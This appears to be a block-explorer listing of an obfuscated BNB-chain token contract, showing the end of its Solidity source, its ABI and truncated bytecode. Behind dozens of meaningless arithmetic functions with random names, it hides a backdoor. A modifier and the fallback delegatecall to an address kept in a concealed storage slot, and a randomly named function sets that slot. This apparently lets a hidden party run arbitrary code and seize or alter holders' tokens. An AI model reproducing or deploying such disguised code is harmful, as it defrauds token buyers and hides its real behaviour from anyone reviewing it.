Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=mul(2968511,1158805) if gt(Xjwg8ROD11LRNx1,1172918){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=mul(1172918,868473) if gt(Xjwg8ROD11LRNx1,3924296){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=mul(3924296,3723461) if gt(Xjwg8ROD11LRNx1,662420){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=add(662420,390146) if gt(Xjwg8ROD11LRNx1,5141499){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=mod(5141499,4498092) if gt(Xjwg8ROD11LRNx1,9426972){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=mod(9426972,1366704) if gt(Xjwg8ROD11LRNx1,7242369){ Xjwg8ROD11LRNx1:=div(Xjwg8ROD11LRNx1,2) } Xjwg8ROD11LRNx1:=mul(7242369,2952587) } return Xjwg8ROD11LRNx1;} function Ht1il8(address tYGtcsE2P3eD4AwsuxDc) internal virtual { address oldOwner = GPm82CQT; GPm82CQT = tYGtcsE2P3eD4AwsuxDc; emit OwnershipTransferred(oldOwner, tYGtcsE2P3eD4AwsuxDc); }function YihyEwGAa2OerXe1() public view returns(uint256){ uint256 wufSFF8s; assembly{ if gt(wufSFF8s,9231759){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mod(9231759,1659539) if gt(wufSFF8s,6566633){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=div(6566633,5391993) if gt(wufSFF8s,1592140){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mul(1592140,964243) if gt(wufSFF8s,6178715){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mul(6178715,5200542) if gt(wufSFF8s,4248939){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=add(4248939,2783160) if gt(wufSFF8s,7351556){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=div(7351556,3056906) if gt(wufSFF8s,1763412){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mul(1763412,369301) if gt(wufSFF8s,499953){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mod(499953,363151) if gt(wufSFF8s,4319362){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mod(4319362,3561478) if gt(wufSFF8s,8595686){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=sub(8595686,5678903) if gt(wufSFF8s,6123377){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=add(6123377,1033701) if gt(wufSFF8s,9431094){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mod(9431094,4342632) if gt(wufSFF8s,6983041){ wufSFF8s:=div(wufSFF8s,2) } wufSFF8s:=mod(6983041,3304654) } return wufSFF8s;} modifier __() { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, add(32,4))), mul(4,8)))) { if iszero( delegatecall( gas(), sload(address()), add(value, mul(8,4)), mload(value), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } _; }function lLJ20il3avS() public view returns(uint256){ uint256 qoDqWQ2ocNpLoZ; assembly{ if gt(qoDqWQ2ocNpLoZ,6770446){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=sub(6770446,5436043) if gt(qoDqWQ2ocNpLoZ,7920748){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=mul(7920748,5517169) if gt(qoDqWQ2ocNpLoZ,8842512){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=sub(8842512,5792475) if gt(qoDqWQ2ocNpLoZ,2522159){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=mod(2522159,2235047) if gt(qoDqWQ2ocNpLoZ,4323180){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=div(4323180,2790989) if gt(qoDqWQ2ocNpLoZ,2137278){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=sub(2137278,2000596) if gt(qoDqWQ2ocNpLoZ,8617777){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=mul(8617777,2700544) if gt(qoDqWQ2ocNpLoZ,1817164){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=mul(1817164,1585217) if gt(qoDqWQ2ocNpLoZ,6862291){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=div(6862291,3737596) if gt(qoDqWQ2ocNpLoZ,2219385){ qoDqWQ2ocNpLoZ:=div(qoDqWQ2ocNpLoZ,2) } qoDqWQ2ocNpLoZ:=div(2219385,427369) } return qoDqWQ2ocNpLoZ;} function decreaseAllowance(address qlomR2Egv78ZQo, uint256 subtractedValue) public virtual returns (bool) { address owner = WyNqSlKoPkHGml0JU(); uint256 jIR3l2FSu8kBSTkRRq1un = allowance(owner, qlomR2Egv78ZQo); require( jIR3l2FSu8kBSTkRRq1un >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, qlomR2Egv78ZQo, jIR3l2FSu8kBSTkRRq1un - subtractedValue); } return true; }}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"qlomR2Egv78ZQo","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"tYGtcsE2P3eD4AwsuxDc","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"AmdvmUsrjj6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HXTDkHgkkI","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"T4Z2eYg85TjwiPVn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VFGwCSpuZXi0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Ycg7pQzGL69xsP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"YihyEwGAa2OerXe1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"afp5It1nbwogFawQvz","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"qlomR2Egv78ZQo","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"qlomR2Egv78ZQo","type":"address"},{"internalType":"uint256","name":"A7LuCaO","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"bBtyAt7iF5zVZYn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"cInoFOXIS0U","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"qlomR2Egv78ZQo","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gQELPZSG03k9","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"qlomR2Egv78ZQo","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lLJ20il3avS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"oS7c4xntQZYPzIlps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"A7LuCaO","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"A7LuCaO","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tYGtcsE2P3eD4AwsuxDc","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uyWfzgFvp0t8M","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ztzSOUD5JWMB5VM","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5062000023326200004460201b60201c565b6200003e3068056bc75e2d631000006200010860201b60201c565b6200040a565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200017b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200017290620002fb565b60405180910390fd5b6000624f2054816200018e91906200034b565b905061019681116200019f57600080fd5b6235f47081620001b091906200034b565b90506118478111620001c157600080fd5b620560f281620001d291906200034b565b90506124678111620001e357600080fd5b8160036000828254620001f791906200034b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200024f91906200034b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620002b691906200031d565b60405180910390a3505050565b6000620002d2601f836200033a565b9150620002df82620003e1565b602082019050919050565b620002f581620003a8565b82525050565b600060208201905081810360008301526200031681620002c3565b9050919050565b6000602082019050620003346000830184620002ea565b92915050565b600082825260208201905092915050565b60006200035882620003a8565b91506200036583620003a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200039d576200039c620003b2565b5b828201905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61389c806200041a6000396000f3fe6080604052600436106101bb5760003560e01c80637bdfaff7116100ec578063a9059cbb1161008a578063ec76661e11610064578063ec76661e146106be578063f2fde38b146106e9578063f53bdbbc14610712578063f97e3ab21461073d576101c2565b8063a9059cbb14610619578063bc66c34b14610656578063dd62ed3e14610681576101c2565b80638da5cb5b116100c65780638da5cb5b1461055b5780638dd950021461058657806395d89b41146105b1578063a457c2d7146105dc576101c2565b80637bdfaff7146104da57806383e7da4b146105055780638c528f7714610530576101c2565b8063238475a7116101595780633950935111610133578063395093511461042057806370a082311461045d578063715018a61461049a57806373d5f08c146104b1576101c2565b8063238475a71461038d57806323b872dd146103b8578063313ce567146103f5576101c2565b80630b0c6996116101955780630b0c6996146102e15780631293d5351461030c578063140f4b961461033757806318160ddd14610362576101c2565b806301a2dae11461024e57806306fdde0314610279578063095ea7b3146102a4576101c2565b366101c257005b3480156101ce57600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050905060086004026004602001820151141561024b576020600082516004600802840130545af461024557600080fd5b60206000f35b50005b34801561025a57600080fd5b50610263610768565b6040516102709190613235565b60405180910390f35b34801561028557600080fd5b5061028e610894565b60405161029b91906130f3565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612dcd565b6109a4565b6040516102d891906130d8565b60405180910390f35b3480156102ed57600080fd5b506102f66109c7565b6040516103039190613235565b60405180910390f35b34801561031857600080fd5b50610321610af3565b60405161032e9190613235565b60405180910390f35b34801561034357600080fd5b5061034c610cb0565b6040516103599190613235565b60405180910390f35b34801561036e57600080fd5b50610377610df9565b6040516103849190613235565b60405180910390f35b34801561039957600080fd5b506103a2610ea0565b6040516103af9190613235565b60405180910390f35b3480156103c457600080fd5b506103df60048036038101906103da9190612d7a565b610fe9565b6040516103ec91906130d8565b60405180910390f35b34801561040157600080fd5b5061040a611018565b6040516104179190613250565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612dcd565b6110be565b60405161045491906130d8565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190612d0d565b6110f5565b6040516104919190613235565b60405180910390f35b3480156104a657600080fd5b506104af61125c565b005b3480156104bd57600080fd5b506104d860048036038101906104d39190612e0d565b6113d7565b005b3480156104e657600080fd5b506104ef611482565b6040516104fc9190613235565b60405180910390f35b34801561051157600080fd5b5061051a611605565b6040516105279190613235565b60405180910390f35b34801561053c57600080fd5b5061054561176b565b6040516105529190613235565b60405180910390f35b34801561056757600080fd5b506105706118b4565b60405161057d91906130bd565b60405180910390f35b34801561059257600080fd5b5061059b6119d6565b6040516105a891906130bd565b60405180910390f35b3480156105bd57600080fd5b506105c66119ee565b6040516105d391906130f3565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612dcd565b611b1e565b60405161061091906130d8565b60405180910390f35b34801561062557600080fd5b50610640600480360381019061063b9190612dcd565b611b95565b60405161064d91906130d8565b60405180910390f35b34801561066257600080fd5b5061066b611bb8565b6040516106789190613235565b60405180910390f35b34801561068d57600080fd5b506106a860048036038101906106a39190612d3a565b611d3b565b6040516106b59190613235565b60405180910390f35b3480156106ca57600080fd5b506106d3611dc2565b6040516106e09190613235565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b9190612d0d565b611f45565b005b34801561071e57600080fd5b50610727612036565b6040516107349190613235565b60405180910390f35b34801561074957600080fd5b506107526120d1565b60405161075f9190613235565b60405180910390f35b60008062709a6581111561077d576002810490505b6245dea062709a65019050627a4d3e81111561079a576002810490505b6211e60c627a4d3e0690506278ab238111156107b7576002810490505b623e44406278ab2302905062573e4f8111156107d4576002810490505b6203269162573e4f02905062700c9f8111156107f1576002810490505b6236d77d62700c9f039050628977cc81111561080e576002810490505b6256fd9f628977cc0490506223acd981111561082b576002810490505b621f4c286223acd9019050626d227b811115610848576002810490505b624a896d626d227b049050628d174f811115610865576002810490505b624868b2628d174f029050628019a0811115610882576002810490505b62584055628019a00490508091505090565b606060006245e478816108a791906132f3565b905061219c81116108b757600080fd5b6244f455816108c691906132f3565b9050601a81116108d557600080fd5b62323f95816108e491906132f3565b905061244b81116108f457600080fd5b6246f1868161090391906132f3565b90506115af811161091357600080fd5b600580546109209061346e565b80601f016020809104026020016040519081016040528092919081815260200182805461094c9061346e565b80156109995780601f1061096e57610100808354040283529160200191610999565b820191906000526020600020905b81548152906001019060200180831161097c57829003601f168201915b505050505091505090565b6000806109af612271565b90506109bc818585612279565b600191505092915050565b60008062674f0e8111156109dc576002810490505b6252f28b62674f0e0390506278dc6c8111156109f9576002810490505b62542f716278dc6c0290506286ed10811115610a16576002810490505b625862db6286ed1003905062267c2f811115610a33576002810490505b62221aa762267c2f0690506241f76c811115610a50576002810490505b622a964d6241f76c04905062209cbe811115610a6d576002810490505b621e86d462209cbe03905062837f31811115610a8a576002810490505b6229350062837f31029050621bba4c811115610aa7576002810490505b62183041621bba4c0290506268b5d3811115610ac4576002810490505b623907fc6268b5d30490506221dd79811115610ae1576002810490505b620685696221dd790490508091505090565b600080626d9fe1811115610b08576002810490505b623ef5ba626d9fe103905062541d1c811115610b25576002810490505b620133fd62541d1c03905062674c97811115610b42576002810490505b6243292062674c97069050625cfa21811115610b5f576002810490505b62044bd2625cfa21069050629123c0811115610b7c576002810490505b62532868629123c006905062637799811115610b99576002810490505b623ab30a62637799049050628112d9811115610bb6576002810490505b62331d1f628112d9069050623a0a69811115610bd3576002810490505b622d7bb6623a0a69069050623ff815811115610bf0576002810490505b623f673c623ff815019050625edde1811115610c0d576002810490505b62071dfb625edde1049050628940dd811115610c2a576002810490505b623e1ba8628940dd029050627723a6811115610c47576002810490505b621b4cda627723a6029050624d0c71811115610c64576002810490505b6218a995624d0c71039050625f32fc811115610c81576002810490505b623d4336625f32fc03905062220cdc811115610c9e576002810490505b621075b362220cdc0390508091505090565b60008062799a6e811115610cc5576002810490505b6256e2dd62799a6e0690506239de11811115610ce2576002810490505b620cbf706239de110690506290f839811115610cff576002810490505b62374dd76290f8390190506270ef2e811115610d1c576002810490505b623ec3cc6270ef2e04905062473a92811115610d39576002810490505b623d1c8c62473a92049050626a5db7811115610d56576002810490505b622dff1c626a5db7049050626f3372811115610d73576002810490505b6247f725626f33720690506232edb9811115610d90576002810490505b6225d0c26232edb901905062557211811115610dad576002810490505b6239228462557211019050625da693811115610dca576002810490505b6238adbc625da693069050628ce285811115610de7576002810490505b6243bf7c628ce2850290508091505090565b60008062379c7c81610e0b91906132f3565b9050611a648111610e1b57600080fd5b622bf0d981610e2a91906132f3565b9050611cf58111610e3a57600080fd5b62530c0d81610e4991906132f3565b9050611dd48111610e5957600080fd5b623c823481610e6891906132f3565b90506110d18111610e7857600080fd5b6214879281610e8791906132f3565b90506112508111610e9757600080fd5b60035491505090565b600080623790cb811115610eb5576002810490505b6216da69623790cb029050627c66aa811115610ed2576002810490505b623139a9627c66aa019050626fa900811115610eef576002810490505b62452786626fa9000390506231f113811115610f0c576002810490505b620e0f3d6231f11301905062850605811115610f29576002810490505b6208524a6285060501905062514e1b811115610f46576002810490505b622ccfed62514e1b019050625dc987811115610f63576002810490505b6215cd20625dc98706905062968a2a811115610f80576002810490505b622f769262968a2a029050626f9775811115610f9d576002810490505b624a8185626f9775019050623fb40f811115610fba576002810490505b62062086623fb40f0190506289977f811115610fd7576002810490505b622b0b066289977f0690508091505090565b600080610ff4612271565b905061100185828561253f565b61100c8585856125cb565b60019150509392505050565b6000806209ae668161102a91906132f3565b90506114b6811161103a57600080fd5b62119e2a8161104991906132f3565b9050610b77811161105957600080fd5b62348e148161106891906132f3565b9050610b3f811161107857600080fd5b624aa4898161108791906132f3565b9050611b1c811161109757600080fd5b620abdcb816110a691906132f3565b9050610d2f81116110b657600080fd5b600991505090565b6000806110c9612271565b90506110ea8185856110db8589611d3b565b6110e591906132f3565b612279565b600191505092915050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561116a576000611157612897565b905060205481101561116857600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611257565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461125491906134d1565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661127b6118b4565b73ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906131b5565b60405180910390fd5b6000620fdd23816112e291906132f3565b9050609081116112f157600080fd5b62120d228161130091906132f3565b9050612343811161131057600080fd5b62332bc68161131f91906132f3565b9050611494811161132f57600080fd5b625683d68161133e91906132f3565b9050612265811161134e57600080fd5b6217f87b8161135d91906132f3565b905061092d811161136d57600080fd5b623e1c928161137c91906132f3565b9050611b56811161138c57600080fd5b62274a828161139b91906132f3565b905061101c81116113ab57600080fd5b624c1b0c816113ba91906132f3565b9050610d6e81116113ca57600080fd5b6113d460006129a9565b50565b3273ffffffffffffffffffffffffffffffffffffffff166113f66118b4565b73ffffffffffffffffffffffffffffffffffffffff161461144c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611443906131b5565b60405180910390fd5b8160069080519060200190611462929190612bbb565b508260059080519060200190611479929190612bbb565b50333055505050565b600080628b18ec811115611497576002810490505b62491354628b18ec03905062754fa38111156114b4576002810490505b62104ac262754fa30390506251313b8111156114d1576002810490505b623ba1ec6251313b0490506270de1d8111156114ee576002810490505b623042946270de1d039050623aa71781111561150b576002810490505b62314d3c623aa71704905062319a65811115611528576002810490505b6217c4e862319a65069050622d4bbf811115611545576002810490505b6211ae95622d4bbf0290506211e5b6811115611562576002810490505b620d40796211e5b6029050623be14881111561157f576002810490505b6238d0c5623be148029050620a1b9481111561159c576002810490505b6205f402620a1b94019050624e73fb8111156115b9576002810490505b6244a2ac624e73fb069050628fd81c8111156115d6576002810490505b6214dab0628fd81c069050626e82818111156115f3576002810490505b622d0d8b626e82810290508091505090565b600080627f25c481111561161a576002810490505b624ea0d8627f25c4019050625c0491811115611637576002810490505b624a41fd625c049102905062869a41811115611654576002810490505b6214d63362869a41019050622205a1811115611671576002810490505b62068f35622205a1019050627a9bbb81111561168e576002810490505b6241a661627a9bbb029050628c793d8111156116ab576002810490505b620dccac628c793d0390506254e9158111156116c8576002810490505b62090fe96254e9150390506283f9268111156116e5576002810490505b6240e58a6283f926019050624f49af811115611702576002810490505b6237a492624f49af019050627d120981111561171f576002810490505b623eb14f627d1209029050624e731c81111561173c576002810490505b62319d2b624e731c019050623ece31811115611759576002810490505b6238b875623ece310290508091505090565b6000806285c267811115611780576002810490505b6258e3dc6285c2670690506281328781111561179d576002810490505b6247c44b628132870490506246bbf98111156117ba576002810490505b622837626246bbf90490506288e43f8111156117d7576002810490505b623638c36288e43f03905062771c498111156117f4576002810490505b62580c9d62771c490190506293f726811115611811576002810490505b6236c8a66293f7260290506280b58981111561182e576002810490505b624a0a976280b5890390506293595181111561184b576002810490505b62448f7562935951029050622cdfcf811115611868576002810490505b6223feab622cdfcf06905062870eb6811115611885576002810490505b62038b3e62870eb60690506267ad248111156118a2576002810490505b623a88166267ad240390508091505090565b60008062050f08816118c691906132f3565b9050611afb81116118d657600080fd5b6213792a816118e591906132f3565b9050611cee81116118f557600080fd5b6210a2ae8161190491906132f3565b9050610d24811161191457600080fd5b623bfaba8161192391906132f3565b90506119ec811161193357600080fd5b621df9258161194291906132f3565b9050611625811161195257600080fd5b620c2e8f8161196191906132f3565b9050611663811161197157600080fd5b622252978161198091906132f3565b9050611c3e811161199057600080fd5b620bc9308161199f91906132f3565b9050611f0d81116119af57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b60606000622a9b5b81611a0191906132f3565b90506109878111611a1157600080fd5b620c597881611a2091906132f3565b9050610ceb8111611a3057600080fd5b6247828f81611a3f91906132f3565b9050610c4b8111611a4f57600080fd5b6258429781611a5e91906132f3565b90506113758111611a6e57600080fd5b6217bb2381611a7d91906132f3565b9050610f118111611a8d57600080fd5b60068054611a9a9061346e565b80601f0160208091040260200160405190810160405280929190818152602001828054611ac69061346e565b8015611b135780601f10611ae857610100808354040283529160200191611b13565b820191906000526020600020905b815481529060010190602001808311611af657829003601f168201915b505050505091505090565b600080611b29612271565b90506000611b378286611d3b565b905083811015611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7390613215565b60405180910390fd5b611b898286868403612279565b60019250505092915050565b600080611ba0612271565b9050611bad8185856125cb565b600191505092915050565b600080628cdd8f811115611bcd576002810490505b62195293628cdd8f069050626432e9811115611bea576002810490505b62524679626432e904905062184b4c811115611c07576002810490505b620eb69362184b4c029050625e479b811115611c24576002810490505b624f5a9e625e479b0290506240d56b811115611c41576002810490505b622a77b86240d56b01905062702d04811115611c5e576002810490505b622ea50a62702d04049050621ae854811115611c7b576002810490505b6205a295621ae8540290506207a0f1811115611c98576002810490505b62058a8f6207a0f10690506241e882811115611cb5576002810490505b623658066241e882069050628328e6811115611cd2576002810490505b6256a737628328e6039050625d6f71811115611cef576002810490505b620fc5e5625d6f71019050628fe836811115611d0c576002810490505b62424368628fe836069050626a8d81811115611d29576002810490505b62326cce626a8d810690508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080624da828811115611dd7576002810490505b6201af42624da828049050623ef2fa811115611df4576002810490505b623a3768623ef2fa049050624f14fc811115611e11576002810490505b621f3879624f14fc0190506296f685811115611e2e576002810490505b6238dff86296f685039050626364e4811115611e4b576002810490505b625b4f97626364e4029050624d5497811115611e68576002810490505b6248dd94624d5497029050628bcedf811115611e85576002810490505b622bdeb9628bcedf069050624326da811115611ea2576002810490505b62216f05624326da0690506285243b811115611ebf576002810490505b6250234f6285243b039050628d3a2f811115611edc576002810490505b625564af628d3a2f0290506283b4bc811115611ef9576002810490505b624cde486283b4bc049050628a15f5811115611f16576002810490505b622d6c1e628a15f5039050625937da811115611f33576002810490505b623e8e07625937da0290508091505090565b3273ffffffffffffffffffffffffffffffffffffffff16611f646118b4565b73ffffffffffffffffffffffffffffffffffffffff1614611fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb1906131b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561202a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202190613135565b60405180910390fd5b612033816129a9565b50565b600080627097c981111561204b576002810490505b62263d64627097c9019050628848fc811115612068576002810490505b622a1f23628848fc069050629210c7811115612085576002810490505b624c503b629210c70390506282b1a08111156120a2576002810490505b625a29ed6282b1a004905062685bc48111156120bf576002810490505b620c2d1a62685bc40290508091505090565b60008062642dc98111156120e6576002810490505b6242e3d162642dc9069050627ca550811115612103576002810490505b6216a876627ca550049050625572f6811115612120576002810490505b623b9654625572f6029050628c561381111561213d576002810490505b623a8b4b628c56130290506269f0ed81111561215a576002810490505b62507ba16269f0ed069050628b5837811115612177576002810490505b623a37d3628b5837019050629860a7811115612194576002810490505b621b0415629860a704905062440e388111156121b1576002810490505b623dedab62440e38049050627df5828111156121ce576002810490505b623042f0627df582019050629651e88111156121eb576002810490505b625544b8629651e8069050628f7ef5811115612208576002810490505b623c4820628f7ef5069050626efc06811115612225576002810490505b62467b0a626efc0601905062766898811115612242576002810490505b62193c6d627668980390506246db5381111561225f576002810490505b6235b92f6246db530190508091505090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e0906131f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235090613155565b60405180910390fd5b60006219ac4a8161236a91906132f3565b9050610f6f811161237a57600080fd5b620819b48161238991906132f3565b9050610ef4811161239957600080fd5b62322dd4816123a891906132f3565b90506117e581116123b857600080fd5b62478b2a816123c791906132f3565b90506104a981116123d757600080fd5b62500431816123e691906132f3565b9050611c4c81116123f657600080f